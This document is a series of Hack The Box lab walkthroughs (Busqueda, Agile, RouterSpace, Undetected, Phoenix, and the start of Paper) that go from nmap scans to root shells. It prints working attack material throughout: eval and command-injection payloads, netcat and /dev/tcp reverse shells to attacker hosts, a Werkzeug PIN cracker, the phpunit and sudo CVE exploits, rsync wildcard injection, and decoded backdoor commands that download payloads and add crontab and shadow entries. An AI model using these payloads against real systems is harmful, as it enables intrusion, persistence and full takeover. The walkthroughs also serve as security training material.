Foothold

First, perform a port enumeration using nmap. The scan reveals a domain on port 80.

$ nmap -sV -sC -oN busqueda.nmap 10.10.11.208

Nmap scan results for 10.10.11.208:

Host is up (0.074s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add the domain searcher.htb to your /etc/hosts file. Accessing the website reveals that it uses Searchor version 2.4.0, which has a known vulnerability. You can find more details about this vulnerability at the following link:

Reference: Searchor 2.4.0 vulnerabilities | Snyk

The vulnerability exists due to the use of the eval function, which accepts user input. To exploit this, use the following payload:

x' + __import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.XX.XX 4444 >/tmp/f'))#

Prepare a listener using netcat. This will give you a reverse shell on the machine as the svc user.

Root

There is a .git folder in /var/www/html. Download this folder to your local machine.

$ git config -l | grep cody
remote.origin.url=http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git

You will find credentials for cody to log in to gitea.searcher.htb. However, nothing interesting is found on Gitea. The password can be reused for the svc user. Run sudo -l to see the commands that svc can execute as root.

We cannot see the source code of system-checkup.py, but we can execute the script to run docker ps and docker inspect.

Two containers are running on the machine: gitea and mysql_db.

Use the following command to inspect the containers:

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .}}' <container-name> | grep -o '{"Id.*' | jq

In the inspection output for mysql_db, you find credentials that can be used to log in as an administrator on the gitea.searcher.htb subdomain.

On the administrator account, there is a repository named scripts containing the source code of system-checkup.py.

The source code reveals a line that executes ./full-checkup.sh, which we can abuse by creating a full-checkup.sh file with a reverse shell payload in a specific folder and then executing system-checkup.py with the full-checkup argument.

Prepare a listener using netcat and execute the following commands on the machine:

$ cd /dev/shm
$ echo '#!/bin/bash' > full-checkup.sh
$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.XX.XX 1337 >/tmp/f' >> full-checkup.sh
$ chmod +x full-checkup.sh
$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

You will get a root shell:

Rooted!

Foothold

The first step in a pentest is usually scanning the machine. Here, I used nmap for port scanning.

$ nmap -sV -sC -oN agile.nmap 10.10.11.203

Nmap scan report for 10.10.11.203
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f4:bc:ee:21:d7:1f:1a:a2:65:72:21:2d:5b:a6:f7:00 (ECDSA)
|_  256 65:c1:48:0d:88:cb:b9:75:a0:2c:a5:e6:37:7e:51:06 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The website redirects to the domain superpass.htb, so we need to add this domain to /etc/hosts.

The website has login and register features. After registering and logging in, we can save passwords on the website and export them as a CSV file.

While exporting passwords, I found an endpoint /download with an LFI (Local File Inclusion) vulnerability. This can be used for further enumeration. I used ZAP to simplify making requests and getting responses.

During enumeration, I concluded that the website is running in debug mode. I then attempted to bypass the Console PIN using the LFI vulnerability. Detailed steps are available in the following reference: Cracking Flask Werkzeug Console PIN.

Here is a modified script to generate a PIN.

import hashlib
import itertools
from itertools import chain

def crack_md5(username, modname, appname, flaskapp_path, node_uuid, machine_id):
    h = hashlib.md5()
    crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)

def crack_sha1(username, modname, appname, flaskapp_path, node_uuid, machine_id):
    h = hashlib.sha1()
    crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)

def crack(hasher, username, modname, appname, flaskapp_path, node_uuid, machine_id):
    probably_public_bits = [
            username,
            modname,
            appname,
            flaskapp_path ]
    private_bits = [
            node_uuid,
            machine_id ]

    h = hasher
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')

    cookie_name = '__wzd' + h.hexdigest()[:20]

    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]

    rv = None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num
    print(rv)

if __name__ == '__main__':
    usernames = ['www-data']
    modnames = ['flask.app', 'werkzeug.debug']
    appnames = ['wsgi_app', 'DebuggedApplication', 'Flask']
    flaskpaths = ['/app/venv/lib/python3.10/site-packages/flask/app.py']
    nodeuuids = ['345052398398']  # /sys/class/net/eth0/address
    machineids = ['ed5b159560f54721827644bc9b220d00superpass.service']

    combinations = itertools.product(usernames, modnames, appnames, flaskpaths, nodeuuids, machineids)

    for combo in combinations:
        username, modname, appname, flaskpath, nodeuuid, machineid = combo
        print('==========================================================================')
        crack_sha1(username, modname, appname, flaskpath, nodeuuid, machineid)
        print(f'{combo}')
        print('==========================================================================')

Run this script to generate several PINs, and use the generated PINs to log into the console.

After accessing the console, execute a Python script for a reverse shell. I used revshells.com to generate the reverse shell script.

import os, pty, socket
s = socket.socket()
s.connect(("LHOST", LPORT))
[os.dup2(s.fileno(), f) for f in (0, 1, 2)]
pty.spawn("bash")

User

Before getting the initial shell, I reviewed the website’s source code and found a snippet in app.py.

---SNIPPED---
def setup_db():
    db_session.global_init(app.config['SQL_URI'])
---SNIPPED---
def load_config():
    config_path = os.getenv("CONFIG_PATH")
    with open(config_path, 'r') as f:
        for k, v in json.load(f).items():
            app.config[k] = v
---SNIPPED---

Checking the environment with the env command revealed the config file path: /app/config_prod.json. The content of this file includes SQL_URI, which contains credentials for MySQL.

{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}

Access the database using the mysql command and retrieve the password for user corum from the passwords table.

Log in via SSH as corum with the password 5db7caa1d13cc37c9fc2, and the user.txt file is in the home directory.

Root

After getting a shell as corum, I enumerated the system and found other users like edwards and runner. I suspected I needed to access another user before reaching root. Eventually, I noticed a Chrome process running with the remote debugging option.

Perform port forwarding from port 41829 to your local machine. Then, use chrome://inspect for debugging. Access test.superpass.htb/vault to find credentials for logging in as edwards.

Reference: https://developers.google.com/cast/docs/debugging/remote_debugger

Log in via SSH as edwards and check sudo -l. There is a command that can be executed as dev_admin.

Use this command to edit the contents of another file, specifically /app/venv/bin/activate, since it will be executed when the root user logs in and can be edited by a user in the dev_admin group.

$ ls -l /app/venv/bin/activate
-rw-rw-r-- 1 root dev_admin 1976 Aug  5 18:48 /app/venv/bin/activate

$ cat /etc/bash.bashrc | tail -n2
# all users will want the env associated with this application
source /app/venv/bin/activate

To edit the file, use the following command:

EDITOR='vim -- /app/venv/bin/activate' sudoedit -u dev_admin /app/config_test.json

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudoedit-privilege-escalation/

Add a reverse shell command to /app/venv/bin/activate, save the file, and set up a listener to receive the reverse shell from the root user.

Rooted!

Machine IP: 10.10.11.148

As always, I started by scanning the services and ports using Nmap.

Nmap scan report for 10.10.11.148
Host is up (0.15s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     (protocol 2.0)
| fingerprint-strings:
|   NULL:
|_    SSH-2.0-RouterSpace Packet Filtering V1
80/tcp open  http
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 200 OK
|     X-Powered-By: RouterSpace
|     X-Cdn: RouterSpace-90404
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 76
|     ETag: W/"4c-kb4g2Jw5REaYxk9bZLPFwpFvGsE"
|     Date: Wed, 08 Jun 2022 03:27:29 GMT
|     Connection: close
|     Suspicious activity detected !!! {RequestID: c tO 1 9m 7u j M Xb 95 }
|   GetRequest:
|     HTTP/1.1 200 OK
|     X-Powered-By: RouterSpace
|     X-Cdn: RouterSpace-91903
|     Accept-Ranges: bytes
|     Cache-Control: public, max-age=0
|     Last-Modified: Mon, 22 Nov 2021 11:33:57 GMT
|     ETag: W/"652c-17d476c9285"
|     Content-Type: text/html; charset=UTF-8
|     Content-Length: 25900
|     Date: Wed, 08 Jun 2022 03:27:28 GMT
|     Connection: close
|     <!doctype html>
|     <html class="no-js" lang="zxx">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>RouterSpace</title>
|     <meta name="description" content="">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="stylesheet" href="css/bootstrap.min.css">
|     <link rel="stylesheet" href="css/owl.carousel.min.css">
|     <link rel="stylesheet" href="css/magnific-popup.css">
|     <link rel="stylesheet" href="css/font-awesome.min.css">
|     <link rel="stylesheet" href="css/themify-icons.css">
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     X-Powered-By: RouterSpace
|     X-Cdn: RouterSpace-56834
|     Allow: GET,HEAD,POST
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 13
|     ETag: W/"d-bMedpZYGrVt1nR4x+qdNZ2GqyRo"
|     Date: Wed, 08 Jun 2022 03:27:28 GMT
|     Connection: close
|     GET,HEAD,POST
|   RTSPRequest, X11Probe:
|     HTTP/1.1 400 Bad Request
|_    Connection: close
|_http-title: RouterSpace
|_http-trane-info: Problem with XML parsing of /evox/about

Upon accessing the website, I found a feature to download the RouterSpace.apk file.

I installed the application on Anbox and set up an HTTP proxy to intercept requests using Burp Suite. (Reference: https://www.rootcat.de/blog/anbox_setup_may21/)

Note: The listener on Burp Suite must match the IP of Anbox.

$ adb install RouterSpace.apk
$ ifconfig anbox0
[REDACTED]
inet 192.168.250.1  netmask 255.255.255.0  broadcast 0.0.0.0
[REDACTED]
$ adb shell settings put global http_proxy 192.168.250.1:8080

I opened the application using anbox.appmgr and clicked “Check Status,” which intercepted a request in Burp Suite.

The request showed a host routerspace.htb, so I added this to my hosts file. I moved the request to Burp Suite’s Repeater for easy re-sending. Given the POST data, I tried command injection and received a response.

However, attempts to execute a reverse shell did not establish a connection back to my machine. Instead, I added my SSH public key to ~/.ssh/authorized_keys for user paul. The following request was used:

POST /api/v4/monitoring/router/dev/check/deviceAccess HTTP/1.1
accept: application/json, text/plain, */*
user-agent: RouterSpaceAgent
Content-Type: application/json
Content-Length: 621
Host: routerspace.htb
Connection: close
Accept-Encoding: gzip, deflate
{
  "ip":"0.0.0.0;echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCZ/Zpa7gQkeiA8Zy/yDhT8RE6Zz6A2gDuhykBiedvL6hwVbUXN00yhr+nCOvs3sw37gPyvZybU/fJeosLtInIEzseOALNmmFRwSmfPvgQBZ1Qt9I3C1L1tLRTLmtDUBEEpxClvqIpO9Au4kokHjgU9+DjhTp8JVRkCBPyoxuNnPfY3SnikRYp4oWFZWgC7/vT3/yV8L1Dek+441I1gFqSrO7VLpjC5Prtstu1uOU9jfXASBIwCHi4t82N08K0pI+StBbvtzCByMIXgC3MaT2vSameaZ/1QnNTVIpVNfCYegZCm6rUiRADHWuCWnBtEZ2A2PXJWID5lTd6F5tnXqDFRsWy7RpFqowX2frf1Bd4UKPfpGyXM2+i8BdAO/fOcNExEaNxFJgoAFcaaOBCasYg9aSnpPI4rO1WYL16LLESRiN3bAP8Dd+d3bJhCgNZqCHiiT7BkZxNEXB0ldI0XDHqv6R/KNvFiW+nWBPK9czpE0OH5mCk2bB90yBnEzlkVX6E= me@nowhere' > /home/paul/.ssh/authorized_keys"
}

I then logged in via SSH as user paul.

$ ssh paul@routerspace.htb
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-90-generic x86_64)
[REDACTED]
paul@routerspace:~$ cat user.txt
3497cba52fcb00f[REDACTED]

After gaining access as paul, I enumerated the system and found the sudo version.

paul@routerspace:~$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31

I used the exploit_nss.py script (https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py). Since the machine could not establish external connections, I transferred the file using SCP.

scp exploit_nss.py paul@routerspace.htb:/tmp

After transferring the file, I ran the exploit script and obtained a root shell.

paul@routerspace:~$ cd /tmp
paul@routerspace:/tmp$ python3 exploit_nss.py
# id
uid=0(root) gid=0(root) groups=0(root),1001(paul)
# cat /root/root.txt
65cf8e2bf6627026[REDACTED]

Rooted!

Machine IP: 10.10.11.146

First, perform a service scan using Nmap, which reveals two open services: SSH and HTTP.

Nmap scan report for 10.10.11.146
Host is up (0.20s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Diana's Jewelry

When I visited the website, I found a subdomain on the store page.

<li class="menu-item"><a href="http://store.djewelry.htb">STORE</a></li>

I added the subdomain to my hosts file. When I accessed it, I found a store site, but most features were non-functional, displaying a notification:

Due to a website migration, we are currently not taking any online orders. Contact us if you wish to make a purchase.

I proceeded with directory enumeration using ffuf.

$ ffuf -w ~/wordlists/common.txt -u http://store.djewelry.htb/FUZZ
<REDACTED> -fc 403
css                     [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 113ms]
fonts                   [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 115ms]
images                  [Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 114ms]
index.php               [Status: 200, Size: 6215, Words: 528, Lines: 196, Duration: 114ms]
js                      [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 112ms]
vendor                  [Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 115ms]
:: Progress: [4686/4686] :: Job [1/1] :: 310 req/sec :: Duration: [0:00:16] :: Errors: 0 ::

The vendor directory caught my attention, and it had directory listing enabled. Inside, I found several subdirectories and identified phpunit version 5.6 from the last changelog.

This version of phpunit has a known vulnerability (CVE-2017-9841). Exploitation involves sending code via POST data to a vulnerable script.

$ curl --data "<?php system(base64_decode('L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNTEvNDQ0NCAwPiYxIgo='));" http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

Start a listener in another terminal session to receive the connection.

$ nc -nvlp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.146 59952
bash: cannot set terminal process group (917): Inappropriate ioctl for device
bash: no job control in this shell
www-data@production:/var/www/store/vendor/phpunit/phpunit/src/Util/PHP$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

After gaining a reverse shell, I typically run LinPEAS for enumeration.

I found a file /var/backups/info owned by www-data, which was a binary file. I downloaded it to my machine for analysis.

Using the strings command, I found a hex-encoded string. Decoding it provided the following output:

$ cat hex | xxd -p -r
wget tempfiles.xyz/authorized_keys -O /root/.ssh/authorized_keys; wget tempfiles.xyz/.main -O /var/lib/.main; chmod 755 /var/lib/.main; echo "* 3 * * * root /var/lib/.main" >> /etc/crontab; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1"1:\$6\$zS7ykHfFMg3aYht4\$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:18813:0:99999:7::: >> /etc/shadow")}' /etc/passwd; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1" "$3" "$6" "$7" > users.txt")}' /etc/passwd; while read -r user group home shell _; do echo "$user"1":x:$group:$group:,,,:$home:$shell" >> /etc/passwd; done < users.txt; rm users.txt;

Since there was a hash present, I saved it to a file and performed a brute-force attack using John the Ripper.

$ cat hash
steven1:$6$zS7ykHfFMg3aYht4$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:18813:0:99999:7:::
$ john --wordlist=/path/to/rockyou.txt hash
$ john --show hash
steven1:ihatehackers:18813:0:99999:7:::

I logged in via SSH using the credentials steven1:ihatehackers.

ssh steven1@10.10.11.146
steven1@10.10.11.146's password:
steven@production:~$ id
uid=1000(steven) gid=1000(steven) groups=1000(steven)
steven@production:~$ cat user.txt
4fb6d75a0b2c5eb7[REDACTED]

Having gained access as user steven, I checked the mail in /var/mail and found an interesting message.

$ cat /var/mail/steven
From root@production  Sun, 25 Jul 2021 10:31:12 GMT
Return-Path: <root@production>
Received: from production (localhost [127.0.0.1])
 by production (8.15.2/8.15.2/Debian-18) with ESMTP id 80FAcdZ171847
 for <steven@production>; Sun, 25 Jul 2021 10:31:12 GMT
Received: (from root@localhost)
 by production (8.15.2/8.15.2/Submit) id 80FAcdZ171847;
 Sun, 25 Jul 2021 10:31:12 GMT
Date: Sun, 25 Jul 2021 10:31:12 GMT
Message-Id: <202107251031.80FAcdZ171847@production>
To: steven@production
From: root@production
Subject: Investigations
Hi Steven.
We recently updated the system but are still experiencing some strange behaviour with the Apache service.
We have temporarily moved the web store and database to another server whilst investigations are underway.
If for any reason you need access to the database or web application code, get in touch with Mark and he
will generate a temporary password for you to authenticate to the temporary server.
Thanks,
sysadmin

The sysadmin mentioned odd behavior with the Apache service. I inspected the modules in /usr/lib/apache2/modules and found a recently modified file.

-rw-r--r-- 1 root root   34800 May 17  2021 mod_reader.so

I transferred the file to my local machine for analysis and found a base64-encoded string using the strings command.

$ echo "d2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk" | base64 -d
wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd

It appeared that /usr/sbin/sshd had been replaced with another

file using wget. I downloaded /usr/sbin/sshd and analyzed it with Ghidra, finding a suspicious auth_password function.

int auth_password(ssh *ssh,char *password)
{
  Authctxt *ctxt;
  passwd *ppVar1;
  int iVar2;
  uint uVar3;
  byte *pbVar4;
  byte *pbVar5;
  size_t sVar6;
  byte bVar7;
  int iVar8;
  long in_FS_OFFSET;
  char backdoor [31];
  byte local_39 [9];
  long local_30;

  bVar7 = 0xd6;
  ctxt = (Authctxt *)ssh->authctxt;
  local_30 = *(long *)(in_FS_OFFSET + 0x28);
  backdoor._28_2_ = 0xa9f4;
  ppVar1 = ctxt->pw;
  iVar8 = ctxt->valid;
  backdoor._24_4_ = 0xbcf0b5e3;
  backdoor._16_8_ = 0xb2d6f4a0fda0b3d6;
  backdoor[30] = -0x5b;
  backdoor._0_4_ = 0xf0e7abd6;
  backdoor._4_4_ = 0xa4b3a3f3;
  backdoor._8_4_ = 0xf7bbfdc8;
  backdoor._12_4_ = 0xfdb3d6e7;
  pbVar4 = (byte *)backdoor;
  while( true ) {
    pbVar5 = pbVar4 + 1;
    *pbVar4 = bVar7 ^ 0x96;
    if (pbVar5 == local_39) break;
    bVar7 = *pbVar5;
    pbVar4 = pbVar5;
  }
  iVar2 = strcmp(password,backdoor);
  uVar3 = 1;
  if (iVar2 != 0) {
    sVar6 = strlen(password);
    uVar3 = 0;
    if (sVar6 < 0x401) {
      if ((ppVar1->pw_uid == 0) && (options.permit_root_login != 3)) {
        iVar8 = 0;
      }
      if ((*password != '\0') ||
         (uVar3 = options.permit_empty_passwd, options.permit_empty_passwd != 0)) {
        if (auth_password::expire_checked == 0) {
          auth_password::expire_checked = 1;
          iVar2 = auth_shadow_pwexpired(ctxt);
          if (iVar2 != 0) {
            ctxt->force_pwchange = 1;
          }
        }
        iVar2 = sys_auth_passwd(ssh,password);
        if (ctxt->force_pwchange != 0) {
          auth_restrict_session(ssh);
        }
        uVar3 = (uint)(iVar2 != 0 && iVar8 != 0);
      }
    }
  }
  if (local_30 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar3;
  }
  __stack_chk_fail();
}

From the decompiled function, I concluded the following:

1. The function accepts two parameters, one of which is the password.
2. Each character of the password is XOR’d with 0x96.
3. strcmp(password, backdoor) compares the two strings.

I wrote a solver to retrieve the valid password from the backdoor variable.

import struct

backdoor  = struct.pack("<I", 0xf0e7abd6) # backdoor._0_4_
backdoor += struct.pack("<I", 0xa4b3a3f3) # backdoor._4_4_
backdoor += struct.pack("<I", 0xf7bbfdc8) # backdoor._8_4_
backdoor += struct.pack("<I", 0xfdb3d6e7) # backdoor._12_4_
backdoor += struct.pack("<Q", 0xb2d6f4a0fda0b3d6) # backdoor._16_8_
backdoor += struct.pack("<I", 0xbcf0b5e3) # backdoor._24_4_
backdoor += struct.pack("<H", 0xa9f4) # backdoor._28_2_
backdoor += struct.pack("<B", 0xa5) # backdoor[30]
password = []

for x in backdoor:
    password.append(x ^ 0x96)

print(bytes(password))

Running the script revealed the password. I then used it to log in as root via SSH.

$ python3 solve.py
b'@=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3'
$ ssh root@10.10.11.146
root@10.10.11.146's password: @=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3
Last login: Mon Jul  4 07:38:42 2022 from 10.10.14.51
root@production:~# id
uid=0(root) gid=0(root) groups=0(root)
root@production:~# cat root.txt
4a2e48198e823b91[REDACTED]

Rooted!

Machine IP: 10.10.11.149

As always, I performed a port scan to identify the services running on the machine using Nmap.

Nmap scan report for 10.10.11.149
Host is up (0.11s latency).
Not shown: 996 closed ports
PORT     STATE    SERVICE  VERSION
22/tcp   open     ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open     http     Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to https://phoenix.htb/
443/tcp  open     ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=phoenix.htb/organizationName=Phoenix Security Ltd./stateOrProvinceName=Arizona/countryName=US
| Not valid before: 2022-02-15T20:08:43
|_Not valid after:  2032-02-13T20:08:43
| tls-alpn:
|   h2
|_  http/1.1
2179/tcp filtered vmrdp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I found several open ports such as 22, 80, and 443. Since the website on port 80 redirects to port 443 (https) with the domain phoenix.htb, I added this domain to my hosts file.

When I viewed the source of the website, I discovered that it uses WordPress. So, I scanned for themes and plugins using WPScan.

$ wpscan --url https://phoenix.htb/ --disable-tls-checks
<REDACTED>
[+] asgaros-forum
 | Location: https://phoenix.htb/wp-content/plugins/asgaros-forum/
 | Last Updated: 2022-01-30T12:54:00.000Z
 | [!] The version is out of date, the latest version is 2.0.0
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By: Urls In 404 Page (Passive Detection)
 |
 | Version: 1.15.12 (10% confidence)
 | Found By: Query Parameter (Passive Detection)
 |  - https://phoenix.htb/wp-content/plugins/asgaros-forum/skin/widgets.css?ver=1.15.12
<REDACTED>

Since the plugin was outdated, I searched for vulnerabilities in the plugin and found CVE-2021-24827.

After discovering this vulnerability, I exploited it using SQLMap.

sqlmap -u "https://phoenix.htb/forum/?subscribe_topic=1" --dbs

Suspecting there might be more plugins, I performed further enumeration with SQLMap using the following command:

sqlmap -u "https://phoenix.htb/forum/?subscribe_topic=1" -D wordpress -T wp_options -C option_value --where "option_name='active_plugins'" --dump

The plugins found included:

• accordion-slider-gallery
• adminimize
• asgaros-forum
• download-from-files
• minionrange-2-factor-authentication
• photo-gallery-builder
• pie-register
• simple-local-avatars
• timeline-event-history

Among these, the download-from-files plugin was vulnerable to arbitrary file upload. I found an exploit for this vulnerability on Exploit-DB.

I used the available exploit from Exploit-DB to upload a PHP reverse shell.

$ python3 exploit.py https://phoenix.htb/ ../rev.phtml
Download From Files <= 1.48 - Arbitrary File Upload
Author -> spacehen (www.github.com/spacehen)
Uploading Shell...
Shell Uploaded!
https://phoenix.htb/wp-admin/rev.phtml

I started a listener using Netcat, accessed the reverse shell URL, and got a connection from the machine to the listener.

After obtaining a reverse shell, I performed enumeration using LinPeas and found credentials for the WordPress database. I then retrieved the usernames and passwords from the wp_users table.

I cracked several passwords using John the Ripper with the RockYou wordlist and found valid SSH credentials: editor:superphoenix. However, there was a verification code required. Further enumeration revealed a file /etc/security/access-local.conf with the following rules:

+ : ALL : 10.11.12.13/24
- : ALL : ALL

I then logged in to SSH through the reverse shell by upgrading the tty and using the regular SSH command.

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
wp_user@phoenix:/$ ssh editor@10.11.12.13
$$$$$$$\  $$\                                     $$\
$$  __$$\ $$ |                                    \__|
$$ |  $$ |$$$$$$$\   $$$$$$\   $$$$$$\  $$$$$$$\  $$\ $$\   $$\
$$$$$$$  |$$  __$$\ $$  __$$\ $$  __$$\ $$  __$$\ $$ |\$$\ $$  |
$$  ____/ $$ |  $$ |$$ /  $$ |$$$$$$$$ |$$ |  $$ |$$ | \$$$$  /
$$ |      $$ |  $$ |$$ |  $$ |$$   ____|$$ |  $$ |$$ | $$  $$<
$$ |      $$ |  $$ |\$$$$$$  |\$$$$$$$\ $$ |  $$ |$$ |$$  /\$$\
\__|      \__|  \__| \______/  \_______|\__|  \__|\__|\__/  \__|
Password: superphoenix
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-96-generic x86_64)
<REDACTED>
editor@phoenix:~$ id
uid=1002(editor) gid=1002(editor) groups=1002(editor)
editor@phoenix:~$ cat user.txt
e8ba02d7b9af2<REDACTED>

After gaining SSH access as the user editor, I found that the /backups folder was writable. Further enumeration revealed a binary file cron.sh.x in /usr/local/bin.

editor@phoenix:/$ ls -l | grep backups
drwxr-x---   2 editor editor  4096 Jun 27 08:57 backups
editor@phoenix:/$ ls -l /usr/local/bin
total 16
-rwxr-xr-x 1 root root 15392 Feb 16 22:27 cron.sh.x
editor@phoenix:/$ file /usr/local/bin/cron.sh.x
/usr/local/bin/cron.sh.x: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7afde696e476ac5d8300e407cbfb9ec08a9b7f07, for GNU/Linux 3.2.0, stripped

cron.sh.x was a compiled shell script using shc. Unable to decompile it with UnSHc, I used pspy64 to monitor its activity.

editor@phoenix:/tmp$ ./pspy64 &
editor@phoenix:/tmp$ /usr/local/bin/cron.sh.x
<REDACTED>
#!/bin/sh
NOW=$(date +"%Y-%m-%d-%H-%M")
FILE="phoenix.htb.$NOW.tar"
cd /backups
mysqldump -u root wordpress > dbbackup.sql
tar -cf $FILE dbbackup.sql && rm dbbackup.sql
gzip -9 $FILE
find . -type f -mmin +30 -delete
rsync --ignore-existing -t *.* jit@10.11.12.14:/backups/
<REDACTED>

From the script source, I discovered that I could perform wildcard injection on the rsync command. The rsync command’s -e option is used to execute commands. (Reference: https://systemweakness.com/privilege-escalation-using-wildcard-injection-tar-wildcard-injection-a57bc81df61c)

I created a malicious script to exploit this:

editor@phoenix:/backups$ echo -e 'bash -c "bash -i >& /dev/tcp/<IP>/<PORT> 0>&1"' > x.sh
editor@phoenix:/backups$ touch -- '-e bash x.sh'
editor@phoenix:/backups$ ls
'-e bash x.sh'
<REDACTED>
x.sh

I started a listener on my local machine and waited for a connection from the machine.

$ nc -nvlp 5555
Listening on 0.0.0.0 5555
Connection received on 10.10.11.149 47634
bash: cannot set terminal process group (38509): Inappropriate ioctl for device
bash: no job control in this shell
root@phoenix:/backups# id
uid=0(root) gid=0(root) groups=0(root)
root@phoenix:/backups#

 cat /root/root.txt
e58a0f73b3337<REDACTED>

Rooted!

Machine IP: 10.10.11.143

As usual, I performed a service and port scan using Nmap and got the following result:

Nmap scan report for paper.htb (10.10.11.143)
Host is up (0.11s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
|   2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA)
|   256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA)
|_  256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519)
80/tcp  open  http     Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_http-title: HTTP Server Test Page powered by CentOS
443/tcp open  ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
